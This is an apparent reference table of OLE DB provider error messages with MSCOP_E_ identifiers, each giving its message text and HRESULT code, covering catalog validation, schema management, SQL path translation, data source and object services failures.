MSCOP_E_InvalidKeyMemListInCreateMem | Error: Invalid Key Member structure found processing Relation name: %1, Parent Class name: %2, Status: %3 | 0xCA3A80C8L
MSCOP_E_MemberTypeMismatchInCreateMem | Type mismatch between Parent and Child Members with the same name. Parent Class %1, Child Class %2, Member name: %3, Relation Name: %4 | 0xCA3A80C9L
MSCOP_E_CreateRelMemDefFailedInCreateMem | Error: Create RelMemDef instance for Child Class failed during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | 0xCA3A80CAL
MSCOP_E_RelMemDefArrayAllocFailedInCreateMem | Not enough memory to allocate RelMemDefArray for Member: %1, Class name: %2 | 0xCA3A80CBL
MSCOP_E_SetDisplayNameFailedInCreateMem | Error: Failed while setting Display name for Reference ID Member. Relation name: %1, Ref ID Member name: %2, SCODE: %3 | 0xCA3A80CCL
MSCOP_E_SetColumnNameFailedInCreateMem | Error: Failed while setting Column name for Reference ID Member. Relation name: %1, Ref ID Member name: %2, SCODE: %3 | 0xCA3A80CDL
MSCOP_E_CreateColDefFailedInCreateMem | Error: Create ColDef instance for Child Class Reference Member failed during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | 0xCA3A80CEL
MSCOP_E_RefIDColValidationFailedInCreateMem | Error: Failed while Validating Reference ID Column. Relation name: %1, Column name: %2, SCODE: %3 | 0xCA3A80CFL
MSCOP_E_RefIDMemValidationFailedInCreateMem | Error: Failed while Validating Reference ID Member. Relation name: %1, Member name: %2, SCODE: %3 | 0xCA3A80D0L
MSCOP_E_FailureAddingToMemDefsByClsIDAndMemNameInCreateMem | Error: Failed adding MemDef object to Catalog memDefsByClsIDAndMemName map: Object name: %1, SCODE: %2 | 0xCA3A80D1L
MSCOP_E_RelMemDefValidationFailedInCreateMem | Error: Failed while validating Relation Member Definition. Relation name: %1, Member name: %2, SCODE: %3 | 0xCA3A80D2L
MSCOP_E_RefIDRelMemValidationFailedInCreateMem | Error: Failed while validating Reference ID Relation Member Definition. Relation name: %1, Ref ID Member name: %2, SCODE: %3 | 0xCA3A80D3L
MSCOP_E_InvalidRelDefInRelDefValidation | Error: Invalid Relation definition object: Relation name: %1, Parent Class name: %2, Child Class name: %3 | 0xCA3A80D4L
MSCOP_E_ClsDefLookupFailureInRelDefValidation | Error: ClsDef Lookup error while processing Relation. Relation name: %1, Parent Class name: %2, SCODE: %3 | 0xCA3A80D5L
MSCOP_E_NoDefaultKeyForClassInRelDefValidation | Error: No default Key for Class name: %1 | 0xCA3A80D6L
MSCOP_E_DuplicateRelNameInRelDefValidation | Error: Relation with this name already exists in the Catalog. Relation name: %1 | 0xCA3A80D7L
MSCOP_E_OneToOneRelDefInRelDefValidation | Error: Relation name: %1 specifies a One to One Relation. This Relation type is not implemented. | 0xCA3A80D8L
MSCOP_E_UnknownRelTypeInRelDefValidation | Error: Relation name: %1 specifies a unknown Relation type. | 0xCA3A80D9L
MSCOP_E_NULLCatalogInRelDefValidation | Error: Invalid Relation definition object. NULL Catalog pointer in RelDef object: Relation name: %1 | 0xCA3A80DAL
MSCOP_E_ClsKeyLookupFailureInRelDefValidation | Error: ClsKeyDef Lookup error while processing Relation name: %1, Class name: %2, Key name: %3, SCODE: %4 | 0xCA3A80DBL
MSCOP_E_InvalidKeyInMMRelInRelDefValidation | Error: Parents in M-M Relations can only have one key with one member. Relation name: %1, Parent Class: %2 | 0xCA3A80DCL
MSCOP_E_FailureAddingToRelDefsByNameInRelDefValidation | Error: Failed while adding Relation to Catalog relDefsByName map. Relation name: %1, SCODE: %2 | 0xCA3A80DDL
MSCOP_E_FailureAddingToRelDefsByIDInRelDefValidation | Error: Failed adding RelDef object to Catalog relDefMapByID map: Object name: %1, SCODE: %2 | 0xCA3A80DEL
MSCOP_E_FailureAddingToRelDefListInRelDefValidation | Error: Failed adding RelDef object to Catalog relDefList list:Object name: %1, SCODE: %2 | 0xCA3A80DFL
MSCOP_E_FailureAddingToDirectParentListInRelDefValidation | Error: Failed adding Parent ClsDef object to Child ClsDef Direct Parent list: Object name: %1, Parent Class name: %2, Child Class name: %3, SCODE: %4 | 0xCA3A80E0L
MSCOP_E_FailureAddingToPhysicalParentListInRelDefValidation | Error: Failed adding Parent ClsDef object to Child ClsDef Direct Physical Parent list:Object name: %1, Parent Class name: %2, Child Class name: %3, SCODE: %4 | 0xCA3A80E1L
MSCOP_E_InvalidRelMemDefInRelMemDefValidation | Error: Invalid Relation Member definition object: Relation name: %1, Parent Class Member name: %2, Child Class Member name: %3 | 0xCA3A80E2L
MSCOP_E_NULLCatalogInRelMemDefValidation | Error: Invalid Relation Member definition object: NULL Catalog pointer, Relation name: %1, Member name: %2 | 0xCA3A80E3L
MSCOP_E_RelDefLookupErrorInRelMemDefValidation | Error: RelDef lookup error while processing Relation Member Def. Relation name: %1, SCODE: %2 | 0xCA3A80E4L
MSCOP_E_MemDefLookupErrorInRelMemDefValidation | Error: Member lookup error while processing Relation. Relation name: %1, Member name: %2, SCODE: %3 | 0xCA3A80E5L
MSCOP_E_RelMemTypeMismatchInRelMemDefValidation | Error: Type mismatch in RelMemDef validation. Parent MemDef: %1, Child MemDef: %2 | 0xCA3A80E6L
MSCOP_E_InvalidRelMemMappingInRelMemDefValidation | Error: Invalid RelMemDef reference mapping. Parent MemDef: %1, Child MemDef: %2 | 0xCA3A80E7L
MSCOP_E_FailedAllocatingRelMemArrayInRelMemDefValidation | Error: Failed allocating Relation Member array while Validating new Child Class Reference Member. Relation name: %1, Reference Member name: %2 | 0xCA3A80E8L
MSCOP_E_FailureAddingToChildRelMemArrayInRelMemDefValidation | Error: Failed while adding Relation Member to Child Member. Relation name: %1, Member name: %2, SCODE: %3 | 0xCA3A80E9L
MSCOP_E_FailureAddingToRelDefListInRelMemDefValidation | Error: Failed while adding Relation Member to Relation Definition array. Relation name: %1, Child Member name: %2, SCODE: %3 | 0xCA3A80EAL
MSCOP_E_FailureAddingToRelMemDefMapByIDInRelMemDefValidation | Error: Failed adding RelMemDef object to Catalog relMemDefMapByID map: Object Names: %1, %2, %3, SCODE: %3 | 0xCA3A80EBL
MSCOP_E_NULLIndexMemNameInIndexMemValidation | Error: Invalid Index Member. NULL Index Member name. | 0xCA3A80ECL
MSCOP_E_NULLCatalogInIndexMemValidation | Error: Invalid Index Member. NULL Catalog in Index Member name: %1 | 0xCA3A80EDL
MSCOP_E_FailureAddingToIndexMemMapByIDInIndexMemValidation | Error: Failed adding IndexMem object to Catalog indexMemMapByID map: Object name: %1, SCODE: %2 | 0xCA3A80EEL
MSCOP_E_InvalidClsAttribInClsAttribValidation | Error: Invalid Class Attribute definition object: Class name: %1, Attribute name: %2, Attribute Type: %3 | 0xCA3A80EFL
MSCOP_E_NULLCatalogInClsAttribValidation | Error: Invalid Class Attribute definition object: NULL Catalog pointer. Attrib Member name: %1 | 0xCA3A80F0L
MSCOP_E_ClsDefLookupErrorInClsAttribValidation | Error: ClsDef lookup error while processing Class Attribute Def. Class name: %1, Attribute name: %2, SCODE: %3 | 0xCA3A80F1L
MSCOP_E_FailureAddingToClsAttribListInClsAttribValidation | Error: Failed adding Attribute object to Class Attribute list: Attribute name: %1, Class name: %2, SCODE: %3 | 0xCA3A80F2L
MSCOP_E_InvalidSrcAttribInSrcAttribValidation | Error: Invalid Source Attribute definition object: Source name: %1, Attribute name: %2, Attribute Type: %3 | 0xCA3A80F3L
MSCOP_E_NULLCatalogInSrcAttribValidation | Error: Invalid Source Attribute definition object: NULL Catalog pointer, Attrib Member name: %1 | 0xCA3A80F4L
MSCOP_E_SourceDefLookupErrorInSrcAttribValidation | Error: SrcDef lookup error while processing Source Attribute Def. Source name: %1, Attribute name: %2, SCODE: %3 | 0xCA3A80F5L
MSCOP_E_FailureAddingToSrcAttribInSrcAttribValidation | Error: Failed adding Attribute object to Source Attribute list: Attribute name: %1, SCODE: %2 | 0xCA3A80F6L
MSCOP_E_InvalidMemAttribInMemAttribValidation | Error: Invalid Member Attribute definition object:, Class name: %1, Member name: %2, Attribute name: %3, Attribute Type: %4 | 0xCA3A80F7L
MSCOP_E_NULLCatalogInMemAttribValidation | Error: Invalid Member Attribute definition object: NULL Catalog pointer, Attrib Member name: %1 | 0xCA3A80F8L
MSCOP_E_ClsDefLookupErrorInMemAttribValidation | Error: ClsDef lookup error while processing Member Attribute Def. Class name: %1, Member name: %2, Attribute name: %3, SCODE: %4 | 0xCA3A80F9L
MSCOP_E_MemDefLookupErrorInMemAttribValidation | Error: MemDef lookup error while processing Member Attribute Def. Class name: %1, Member name: %2, Attribute name: %3, SCODE: %4 | 0xCA3A80FAL
MSCOP_E_FailureAddingToMemAttribInMemAttribValidation | Error: Failed adding Attribute object to Member Attribute list: Attribute name: %1, Class name: %2, SCODE: %3 | 0xCA3A80FBL
MSCOP_E_InvalidViewMemInViewMemValidation | Error: Invalid View Member definition object: Member name: %1, View name: %2 | 0xCA3A80FCL
MSCOP_E_NULLCatalogInViewMemValidation | Error: Invalid View Member definition object: NULL Catalog pointer, View Member name: %1 | 0xCA3A80FDL
MSCOP_E_ViewDefLookupErrorInViewMemValidation | Error: ViewDef lookup error while processing View Member. View Member name: %1, View name: %2, SCODE: %3 | 0xCA3A80FEL
MSCOP_E_ViewMemDefLookupErrorInViewMemValidation | Error: View Member lookup error. Member name: %1, Class name: %2, View name: %3, SCODE: %4 | 0xCA3A80FFL
MSCOP_E_DuplicateViewMemDefInViewMemValidation | Error: View Member already exists in View. Member name: %1, Class name: %2, View name: %3 | 0xCA3A8100L
MSCOP_E_ViewMemExtAllocationFailureInViewMemValidation | Error: Not enough memory to allocate View Member Extenstion | 0xCA3A8101L
MSCOP_E_CorruptRelMemDefTableInViewMemValidation | Error: Corrupt RelMemDef table found in View Member validation. View member name: %1, Status: %2 | 0xCA3A8102L
MSCOP_E_FailureAddingToViewDefListInViewMemValidation | Error: Failed to add Member to ViewDef member list. Member name: %1, View name: %2, SCODE: %3 | 0xCA3A8103L
MSCOP_E_FailureAddingToMultiValMemDefListInViewMemValidation | Error: Failed to add Member to ViewDef multi value member list. Member name: %1, View name: %2, SCODE: %3 | 0xCA3A8104L
MSCOP_E_FailureAddingToSingleValMemDefListInViewMemValidation | Error: Failed to add Member to ViewDef single value member list. Member name: %1, View name: %2, SCODE: %3 | 0xCA3A8105L
MSCOP_E_FailureAddingToViewMemsByViewIDAndMemNameInViewMemValidation | Error: Failed adding ViewMem object to Catalog viewMemsByViewIDAndMemName list: Member name: %1, Class name: %2, View name: %3, SCODE: %4 | 0xCA3A8106L
MSCOP_E_FailureAddingToFullRelDefListInRelMemDefValidation | Error: Failed while adding Relation Member to Full Relation Definition array. Relation name: %1, Child Member name: %2, SCODE: %3 | 0xCA3A8107L
MSCOP_E_FailureAddingToFullRelDefListInRelDefValidation | Error: Failed while adding Relation to Full Relation Definition list. Relation name: %1, SCODE: %2 | 0xCA3A8108L
MSCOP_E_MajorVersionMismatch | Error: Catalog Major Version mismatch. Version in Catalog name:%1: %2, Version supported by code: %3 | 0xCA3A8109L


CtlgPersist.cpp Error Message for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_UnsupportedColumnType | Unsupported type for column def, col: %1, type: %2 | 0xCA41002FL


Schemamgr.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_SchemaMgrCreateTableCatchHR | CreateTable(), catch(hr), code: %1 | 0xCA340042L
MSCOP_E_SchemaMgrCreateTableCatch | CreateTable(), exception caught | 0xCA340043L
MSCOP_E_SchemaMgrNoColDefForMVTableCreation | No Column Definitions for multi value table creation. Table name: %1 | 0xCA340044L


SQLPathTrans.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_SQLTransPathNULLCatalog | SqlPathElement::Invalid (NULL) pointer to catalog or path specified | 0xCA340045L
MSCOP_E_SQLTransPathLastElementAlreadyMember | Last element in the list is already a member | 0xCA340046L
MSCOP_E_SQLTransPathLastInvalidElementType | SqlPathElement::Invalid element type specified for information given. ElementType = %1 | 0xCA340047L
MSCOP_E_SQLTransPathLastAmbiguousNonPersistentRelMem | Ambiguous Path to Non-Persistent RelMember | 0xCA340048L
MSCOP_E_SQLTransPathLastPathElementOOM | Not enough memory for additional path element. | 0xCA340049L
MSCOP_E_SQLTransPathAmbiguousMember | First element in path specified is a member, but exists on multiple classes. You must first specify the class which it is a member of, then it will not be ambiguous. | 0xCA34004AL
MSCOP_E_SQLTransPathAddElementOOM | Not enough memory to add element to path. | 0xCA34004BL
MSCOP_E_SQLTransPathNoPathToMember | Zero Paths available from the specified class to the specified member. | 0xCA34004CL
MSCOP_E_SQLTransPathMemberNotReachable | Internal Error: we have a match on a single member name and a single path to it, but because of possible internal corruption we got a failure and it is not reachable. | 0xCA34004DL
MSCOP_E_SQLTransPathAddIntermediatePathFailed | Unable to add intermediate elements to path to help reach member. hr=%1 | 0xCA34004EL
MSCOP_E_SQLTransPathAmbiguousParent | Ambiguous parent encountered while attempting to identify path to member. Please be more specific in your path to the member %1. | 0xCA34004FL
MSCOP_E_SQLTransPathDuplicateClsDefInPath | Ambiguous parent encountered while attempting to identify path to member. Attempted to add the same classdef named %1 twice in a row to a path - this is not allowed. | 0xCA340050L
MSCOP_E_SQLTransPathMultiplePaths | There is more than one valid path between %1 and %2 | 0xCA340051L
MSCOP_E_SQLTransPathBadElementNoBisquit | Element specified to add to path is bad. hr=%1, ElementName = %2, Path = %3 | 0xCA340052L
MSCOP_E_SQLTransPathZeroPathLength | Path is 0 length, therefore invalid | 0xCA340053L
MSCOP_E_SQLTransPathLastPathElementNotMember | Last Element of the Path is not a member | 0xCA340054L
MSCOP_E_SQLTransPathNULLCatalogInInit | Invalid (NULL) Catalog parameter Passed to CSqlPath::Init() | 0xCA340055L
MSCOP_E_SQLTransPathNoComparitiveOperator | Comparitive Operator not specified in where element. | 0xCA340056L
MSCOP_E_SQLTransPathNoINValues | Comparitive Operator is IN but there are no values specified in where element. | 0xCA340057L
MSCOP_E_SQLTransPathNULLWithValues | Comparitive Operator is NULL or NOT NULL but there are values specified in where element. | 0xCA340058L
MSCOP_E_SQLTransPathNoSingleValue | Comparitive Operator does not have 1 value. | 0xCA340059L
MSCOP_E_SQLTransPathBadBetweenClause | Comparitive Operator is BETWEEN or NOT BETWEEN but there are not two values specified in where element. | 0xCA34005AL
MSCOP_E_SQLTransPathInvalidComparitiveOperator | Comparitive Operator is invalid. | 0xCA34005BL
MSCOP_E_SQLTransPathZeroSelectPath | SQL Query must consist of at least one select path. | 0xCA34005CL
MSCOP_E_SQLTransPathBadRootClasses | SQL Query must have RootClasses the same for all things being selected or filtered. | 0xCA34005DL
MSCOP_E_SQLTransPathSQLExpressionOOM | Not enough memory to allocate virtual memory to produce SQL expression. | 0xCA34005EL
MSCOP_E_SQLTransPathInvalidPath | Invalid path encountered attempting to build query. hr=%1 Query:%2 Path:%3 | 0xCA34005FL
MSCOP_E_SQLTransPathInvalidPathCompare | Invalid path encountered attempting to build query. hr=%1 Query:%2 Compare:%3 | 0xCA340060L
MSCOP_E_SQLTransPathInvalidComparitiveOperatorBuildingExpression | Invalid Comparitive Operator encountered while building SQL expression. | 0xCA340061L
MSCOP_E_SQLTransPathTooManyValuesForOperator | Not allowed to have more than one value with this type of comparitive operator. | 0xCA340062L
MSCOP_E_SQLTransPathInvalidValueForOperator | Not allowed to have a value specified with this type of comparitive operator. | 0xCA340063L
MSCOP_E_SQLTransPathNotAbleToAddValue | Not able to add another value. | 0xCA340064L
MSCOP_E_SQLTransPathInvalidComparitiveOperatorValue | Invalid comparitive operator value. | 0xCA340065L


Bindargs.cpp Error Messages for the OLE DB

Error Messages

Message ID | Message Text | HResult
MSCOP_E_BindArgsOpenDataSourceInitializationFailed | In BindArgs::OpenDataSrc(), failed initializing data source (%1) | 0xCA078001L
MSCOP_E_BindArgsOpenInvalidFirstBindToRow | Can't bind to Row directly on first bind | 0xCA078002L
MSCOP_E_BindArgsCreateCatalogWithoutRequestingRow | Cannot create a catalog object without requesting a Row | 0xCA078003L
MSCOP_E_BindArgsInvalidInterfaceOnCatalogRow | Do not support interface %1 on Catalog Row | 0xCA078004L
MSCOP_E_BindArgsCannotOpenCatalogObject | Cannot open catalog object (schema session:%1, create only:%2, row change:%3) | 0xCA078005L


OLE DB Binder Property Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CImpDataSrcPropCouldNotSetFASTLOADPropertyFromBinderObject | Could not set the FASTLOAD property from the binder object (%1) | 0xCA0D8001L
MSCOP_E_CImpDataSrcPropCouldNotSetINTEGRATEDSECURITYPropertyFromBinderObject | Could not set the INTEGRATED SECURITY property from the binder object (%1) | 0xCA0D8002L
MSCOP_E_CImpDataSrcPropCouldNotSetDataSourcePropertyFromBinderObject | Could not set the Data Source property from the binder object (%1) | 0xCA0D8003L
MSCOP_E_CImpDataSrcPropCouldNotSetCONNECTIONSTRINGPropertyFromBinderObject | Could not set the CONNECTION STRING property from the binder object (%1) | 0xCA0D8004L
MSCOP_E_CImpDataSrcPropCouldNotSetUSERIDPropertyFromBinderObject | Could not set the USER ID property from the binder object (%1) | 0xCA0D8005L
MSCOP_E_CImpDataSrcPropCouldNotSetPASSWORDPropertyFromBinderObject | Could not set the PASSWORD property from the binder object (%1) | 0xCA0D8006L
MSCOP_E_CImpDataSrcPropCouldNotGetFASTLOADProperty | Could not get the FASTLOAD property (%1) | 0xCA0D8007L
MSCOP_E_CImpDataSrcPropCouldNotGetINTEGRATEDSECURITYProperty | Could not get the INTEGRATED SECURITY property (%1) | 0xCA0D8008L
MSCOP_E_CImpDataSrcPropCouldNotGetCONNECTIONSTRINGProperty | Could not get the CONNECTION STRING property (%1) | 0xCA0D8009L
MSCOP_E_CImpDataSrcPropCouldNotGetUSERIDProperty | Could not get the USER ID property (%1) | 0xCA0D800AL
MSCOP_E_CImpDataSrcPropCouldNotGetPASSWORDProperty | Could not get the PASSWORD property (%1) | 0xCA0D800BL
MSCOP_E_CImpDataSrcPropCouldNotGetCREATECATALOGProperty | Could not get the CREATECATALOG property (%1) | 0xCA0D800CL
MSCOP_E_CImpDataSrcPropCouldNotGenerateSessionContextGUID | Could not generate session context GUID for session %1 (%2) | 0xCA0D800DL
MSCOP_E_CImpDataSrcPropCouldNotSetSessionContextProperty | Could not set Session context property for session %1 (hr = %2) | 0xCA0D800EL


OLE DB CCommand Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CCommandPropertiesInitializationFailure | Error Initializing Command properties (%1) | 0xCA148077L
MSCOP_E_CCommandAllocationEOM | Error allocating new command text (%1 chars) | 0xCA148078L


OLE DB Data Source Error Messages

Error Messages

Message ID | Message Text | HResult
*/MSCOP_E_CDataSourceOpenBinaryLogFileFailure | Open binary log file failed, file: %1 | 0xCA178001L
MSCOP_E_CDataSourcePropertyInitializationFailure | Unable to initialize Data source Properties %1 | 0xCA178002L
MSCOP_E_CDataSourceSetPropertyFailure | Could not set Data Source OLE DB properties (%1) | 0xCA178003L
MSCOP_E_CDataSourceSessionCommandMapperInitializationFailure | Unable to initialize Session Command mapper (%1) | 0xCA178004L
MSCOP_E_CDataSourceCatalogLoadInitializationFailure | DataSource::Init(%1) failed on catalog load (%2) | 0xCA178005L
MSCOP_E_CDataSourceReleaseSchemaChangeCatalog | CDataSource::ReleaseSchemaChangeCatalog(), could not get active catalog (%1) | 0xCA178006L
MSCOP_E_CDataGetActiveCatalogGetPropertyBool | DataSource::GetActiveCatalog(%1) GetPropertyBOOL() for DBPROP_INIT_CATALOGCREATE failed (%2) | 0xCA178007L
MSCOP_E_CDataGetActiveCatalogGetPropertyLong | DataSource::GetActiveCatalog(%1) GetPropertyLONG() for DBPROP_INIT_MODE failed (%2) | 0xCA178008L
MSCOP_E_CDataGetActiveCatalogWriteModeNotEnabled | DataSource::GetActiveCatalog(%1) failed on catalog load (%2) - Write access mode not enabled | 0xCA178009L
MSCOP_E_CDataGetActiveCatalogNoCatalog | DataSource::GetActiveCatalog(%1) failed on catalog load (%2) - Catalog not present and CATALOG_CREATE not enabled | 0xCA17800AL
MSCOP_E_CDataGetActiveCatalogRetrieveFailed | Error retrieving the current catalog entry (%1) activelist size=%2 | 0xCA17800BL
MSCOP_E_CDataReleaseCatalogRemoveFailed | ReleaseCatalog() - Error removing entry (%1) | 0xCA17800CL
MSCOP_E_CDataReleaseCatalogNoCatalogs | ReleaseCatalog() Could not find the catalog in active list | 0xCA17800DL
MSCOP_E_CDataAddNewCatalogEntryCoreObjectServicesFailure | Could not create the Core Object Services for Data Source | 0xCA17800EL
MSCOP_E_CDataAddNewCatalogEntryOutOfMemory | Error creating new SessiontCatalogEntry -- Out of memory | 0xCA17800FL
MSCOP_E_CDataAddNewCatalogEntryAddToListFailure | Error adding new SessionCatalogEntry to the list of active catalogs (%1) | 0xCA178010L
MSCOP_E_CDataLoadCatalogCreateFailure | Could not create the catalog (%1) | 0xCA178011L
MSCOP_E_CDataLoadCatalogInitializeStringsFailure | Could not initialize catalog strings (%1) | 0xCA178012L
MSCOP_E_CDataLoadCatalogValidationFailure | Catalog validation failed, catalog: %1 (%2) | 0xCA178013L
MSCOP_E_CDataLoadCatalogLoadFailure | Catalog Load failed catalog: %1 (%2) | 0xCA178014L
MSCOP_E_CDataCreateSessionBadDataSource | Data Source not initialized correctly. | 0xCA178015L
MSCOP_E_CDataGetPropFailure | Could not get the DBINIT, %1 property (%2) | 0xCA178016L
MSCOP_E_CDataGetConnectionStringInitDataSourcePropNotFound | Error retrieving the InitDataSource property -- Not found | 0xCA178017L
MSCOP_E_CDataGetConnectionStringInitDataSourcePropBadType | Error - InitDataSource property has unexpected data type (%1) expecting VT_BSTR | 0xCA178018L
MSCOP_E_CDataGetConnectionStringCreateBinderFailure | Error creating Binder in DataSource initialization (%1) | 0xCA178019L
MSCOP_E_CDataGetConnectionStringBindFailure | Could not bind to connection string (%1) | 0xCA17801AL
MSCOP_E_CDataGetConnectionStringBadURL | Data Source URL connection string not set correctly | 0xCA17801BL
MSCOP_E_CDataGetServerConnGenIDFailure | Failed to generate connection id, SCODE: %1 | 0xCA17801CL


OLE DB CCommand Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_CCommandParserInitializationFailure | Error Initializing Command properties (%1) | 0xCA148079L


OLE DB Object-Related Error Messages

This section contains:

  • OLE DB Object Change Error Messages
  • OLE DB Object Services Error Messages


OLE DB Object Change Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_ObjChgsFillFixedDstMVVecConvert2Err | FillFixedDstMVVecConvert2: Could not convert from Source DBTYPE %1 to Dest DBTYPE %2 | 0xCA1A8001L
MSCOP_E_ObjChgsProcessVectorWSTRConvertErr | ProcessVector(WSTR): Could not convert from Source DBTYPE %1 to Dest DBTYPE %2 | 0xCA1A8002L
MSCOP_E_ObjChgsProcessVectorBSTRConvertErr | ProcessVector(BSTR): Could not convert from Source DBTYPE %1 to Dest DBTYPE %2 | 0xCA1A8003L


OLE DB Object Services Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_ObjSvcsOutOfMemory | Failure to allocate client object manager class instances virtual buffer, SCODE: %1 | 0xCA1D8001L
MSCOP_E_ObjSvcsCollectionAllocationErr | Failure to allocate collection, %1, hash/storage from virtual buffer, SCODE: %2 | 0xCA1D8002L
MSCOP_E_ObjSvcsCollectionInitializationErr | Failure to initialize collection, %1, hash/storage, SCODE: %2 | 0xCA1D8003L
MSCOP_E_ObjSvcsClientObjectManagerClassInstanceInfoAllocationErr | Failure to allocate client object manager class instance info array from virtual buffer, SCODE: %1 | 0xCA1D8004L
MSCOP_E_ObjSvcsClientObjectManagerClassInstanceVirtualBufferAllocationErr | Failure to allocate client object manager class instance virt buf ptr array from virtual buffer, SCODE: %1 | 0xCA1D8005L
MSCOP_E_ObjSvcsClientObjectManagerClassInstanceMVVirtualBufferAllocationErr | Failure to allocate client object manager class instance multi-val virt buf ptr array from virtual buffer, SCODE: %1 | 0xCA1D8006L
MSCOP_E_ObjSvcsNULLConnObjSvcsPointerInInit | NULL ConnObjSvcs pointer passed to CObjServices::Init | 0xCA1D8007L
MSCOP_E_ObjSvcsNULLCMbCatalogPointerInInit | NULL CMbCatalog pointer passed to CObjServices::Init | 0xCA1D8008L
MSCOP_E_ObjSvcsOLEDBConversionLibraryCreationFailure | Could not create the OLEDB Conversion library (%1) | 0xCA1D8009L
MSCOP_E_ObjSvcsDataProcessStateAllocationFailure | Failure to allocate pool of DataProcessState items, SCODE: %1 | 0xCA1D800AL
MSCOP_E_ObjSvcsOpenLogFileFailure | Open log file failed, file: %1 | 0xCA1D800BL
MSCOP_E_ObjSvcsInvalidClassID | Invalid class ID argument, SCODE: %1 | 0xCA1D800CL
MSCOP_E_ObjSvcsClassInstanceBufferFailure | Failure in attempt to obtain class instance buffers from respective buffer pools (allocsize=%1) | 0xCA1D800DL
MSCOP_E_ObjSvcsCreateObjFailure | Failure in Client Object Services CreateObj operation, SCODE: %1 | 0xCA1D800EL
MSCOP_E_ObjSvcsFlushFailure | ProcessObjChgs(), Failure in attempting to flush client object manager processed class instances | 0xCA1D800FL
MSCOP_E_ObjSvcsInstanceProcessingFailure | ProcessObjChgs(), Failure in processing of an ObjChanges instance, SCODE: %1 | 0xCA1D8010L
MSCOP_E_ObjSvcsAggFlushFailure | ProcessObjChgs(), Failure in attempting to flush aggregation buffer | 0xCA1D8011L
MSCOP_E_ObjSvcsAggInstanceProcessingFailure | ProcessObjChgs(), Failure in aggregation of an ObjChanges instance, SCODE: %1 | 0xCA1D8012L
MSCOP_E_ObjSvcsCompactedClassInstanceAllocationFailure | Failure to allocate client object manager compacted class instance info array from virtual buffer, SCODE: %1 | 0xCA1D8013L
MSCOP_E_ObjSvcsUniqueDataVirturalBufferAllocationFailure | Failure to allocate array of %1 from virtual buffer, SCODE: %2 | 0xCA1D8014L
MSCOP_E_ObjSvcsUniqueDataExtractionFailure | Failure to extract %1 information from instance of %2 hash/storage, SCODE: %3 | 0xCA1D8015L
MSCOP_E_ObjSvcsDumpBufferCreationFailure | Failed creating the virtual buffer for dumping | 0xCA1D8016L
MSCOP_E_ObjSvcsBinaryPackageWriteFailure | Failed writing the binary package into file | 0xCA1D8017L
MSCOP_E_ObjSvcsBinaryPackageHeaderWriteFailure | Failed writing the binary package file header into file | 0xCA1D8018L
MSCOP_E_ObjSvcsBinaryClassInstanceWriteFailure | Failed writing the binary class instance into file | 0xCA1D8019L
MSCOP_E_ObjSvcsBinaryUniqueDataWriteFailure | Failed writing the unique type into file | 0xCA1D801AL
MSCOP_E_ObjSvcsUniqueDataTypeOffsetWriteFailure | Failed writing the unique type offset size into file | 0xCA1D801BL
MSCOP_E_ObjSvcsPackageDumpFailure | Failed dumping the package into file | 0xCA1D801CL
MSCOP_E_ObjSvcsBinaryFilePointerSetFailure | Cannot set file pointer in the binary log file: %1 | 0xCA1D801DL
MSCOP_E_ObjSvcsBinaryFileOpenFailure | Open binary log file failed, file: %1 | 0xCA1D801EL
MSCOP_E_ObjSvcsPackageManagerNotInitialized | PackageManager not initialized | 0xCA1D801FL
MSCOP_E_ObjSvcsPackageWriteFailure | Failed writing the package into file | 0xCA1D8020L
MSCOP_E_ObjSvcsPackageFileHeaderWriteFailure | Failed writing the package file header into file | 0xCA1D8021L
MSCOP_E_ObjSvcsAggBufferFlushFailure | Failed flushing the aggregation buffer | 0xCA1D8022L
MSCOP_E_ObjSvcsURIDataAllocationFailure | Error creating new UriData data. Status=%1 | 0xCA1D8023L
MSCOP_E_ObjSvcsParseLevelDirsFailure | ParseLevelDirs() failure. status=%1 | 0xCA1D8024L


OLE DB Schema Manager Error Messages

Error Messages

Message ID | Message Text | HResult
MSCOP_E_NoColDefForPersistentMem | There is no column definition for a persisted member of this class. | 0xCA410001L
MSCOP_E_NoIdentityCol | There is a no identity column definition in the table definition. | 0xCA410002L
MSCOP_E_UpdateStoredProcedureClassGenerationFailed | Cannot generate Update Stored Procedure for Class: %1, No Identity Member defined. | 0xCA410003L
MSCOP_E_UpdateStoredProcedureTableGenerationFailed | Generation of Update Stored Procedure failed for Table:%1 hr: %2 | 0xCA410004L
MSCOP_E_UpdateStoredProcedureTableStatementFailed | Update Stored Procedure statement failed for Table:%1. Statement: %2, hr: %3 | 0xCA410005L
MSCOP_E_StoredProcedureTableStatementFailed | Create Stored Procedure statement failed for Table:%1. Statement: %2, SCODE: %3 | 0xCA410006L
MSCOP_E_NoColDefsForMultiVal | No Column Definitions for multi value Table creation. Table name: %1 | 0xCA410007L
MSCOP_E_CreateStatementForTableFailed | Create statement failed for Table:%1. Statement: %2, SCODE: %3 | 0xCA410008L
MSCOP_E_AlterStatementForTableFailed | Alter statement failed for Table:%1. Statement: %2, SCODE: %3 | 0xCA410009L
MSCOP_E_CreateTableCatchHR | CreateTable(), catch(hr), code: %1 | 0xCA41000AL
MSCOP_E_CreateTableCatch | CreateTable(), exception caught | 0xCA41000BL
MSCOP_E_CreateKeyTableCatchHR | CreateTable(), catch(hr), code: %1 | 0xCA41000CL
MSCOP_E_CreateKeyTableCatch | CreateTable(), exception caught | 0xCA41000DL
MSCOP_E_MissingKeyMember | Missing key member in the class definition - %1 | 0xCA41000EL
MSCOP_E_DropStoredProcedureFailed | Drop Stored Procedure failed for Procedure:%1. Statement: %2, SCODE: %3 | 0xCA41000FL
MSCOP_E_DropTableFailed | Drop Table statement failed for Table:%1. Statement: %2, SCODE: %3 | 0xCA410010L
MSCOP_E_AppendFmtDataFailedForColDef | Error: AppendFmtData failed creating SQL for ColDef: %1, SCODE: %2 | 0xCA410011L
MSCOP_E_NULLHStmtInAddColumn | NULL HStmt* passed to CSchemaMgr::AddColumn | 0xCA410012L
